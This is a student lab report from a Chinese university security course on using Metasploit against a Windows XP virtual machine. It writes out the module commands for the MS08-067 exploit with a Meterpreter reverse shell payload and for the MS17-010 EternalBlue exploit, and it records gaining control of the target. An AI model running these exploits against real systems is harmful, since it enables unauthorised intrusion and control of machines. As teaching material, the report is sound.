山东大学 软件 学院

信息安全导论 课程实验报告

|  |  |  |  |
| --- | --- | --- | --- |
| 学号：201600301079 | 姓名： 崔玉峰 | | 班级： 2016级软件4班 |
| 实验题目：**实验八安全测试平台Metasploit使用** | | | |
| 实验学时：4 | | 实验日期： 2018/ | |
| 实验目的：  安全漏洞是安全方面的焦点问题。漏洞的发现是可遇而不可求的。漏洞的验证和使用也不是那么容易的。而Metasploit是：  The world’s most used penetration testing framework. 实验内容  * 安装Metasploit * 用虚拟机建立目标机（target，测试攻击的目标） * 测试MS08-067（选） * 找一个新近的漏洞，重现演示 | | | |
| 硬件环境：  PC  CPU : intel-i5  RAM: 8G | | | |
| 软件环境：  虚拟机：VMWARE  操作系统：ubuntu 18.04.5 64位  Windos xp sp3  Metasploit | | | |
| 实验步骤与内容：   1. **Linux下安装Metasploit** 2. 安装curl 方便下载Metasploit 3. 通过curl命令下载安装 Metasploit：            1. **安装 Metasploit完成：**   输入msfconsole 进入：     1. **安装目标机Target：**   **本实验测试**MS08-067**所以安装**Windows XP/SP3**进行实验，从可以直接在网上下载纯净版的windos XP SP3系统，并放到VMware虚拟机中即可:**      做一下几个准备工作：   1. 关闭防火墙 2. 查询IP地址（121.250.213.15） 3. 在C盘中建一个文件夹test 方便之后测试      1. **测试MS08-067：**   查询攻击者的IP：121.250.213.41     1. **查找漏洞ms08-067**   Search ms08-067     1. **加载模块ms08\_067\_netapi**   use exploit/windows/smb/ms08\_067\_netapi     1. **加载模块ms08\_067\_netapi**   set payload windows/meterpreter/reverse\_tcp     1. **设置被攻击者IP**   set RHOST 172.28.1.20     1. **设置攻击者IP**   set LHOST 172.28.1.22     1. **设置成功开始攻击：**   exploit     1. **攻击成功已经控制了目标机，可以执行windos下的指令ipconfig:**     可以看到显示了目标机的IP地址     1. **也可以增加添加文件等操作：**          1. **测试MS17-010永恒之蓝：**   MS17-010永恒之蓝,就是最有名的比特币勒索病毒所利用的漏洞，通过此漏洞可以直接控制对方电脑，执行代码属于严重漏洞。本次就通过msf来模拟这个漏洞攻击目标主机windos xp sp3：  **① Search smb\_ms17\_010**    **② use exploit/windows/smb/ms17\_010\_eternalblue**  **③ set RHOST 121.250.213.15**    **④ exploit**  开始攻击目标机器：      被攻击主机windos xp sp3 会突然蓝屏，然后无限重启。    其实此次攻击并不能算是成功因为没有取得目标电脑的控制权，而是导致被攻击主机蓝屏，应该是选择的系统版本的问题。 | | | |
| 结论分析与体会：    通过实验安全测试平台Metasploit，了解到了如何测试漏洞，甚至利用漏洞进行攻击，也看到了不法分子利用漏洞时的恐怖。对于永恒之蓝漏洞是一个非常高危的漏洞，比特币勒索病毒席卷70多个国家地区，造成大量的财产损失。虽然在测试时并没有完美的成功，但是依然使被攻击主机死机，危害还是非常大的。  在日常生活中对抗漏洞的唯一办法就是使用正版系统并且经常更新，才能尽可能避免受到危害 | | | |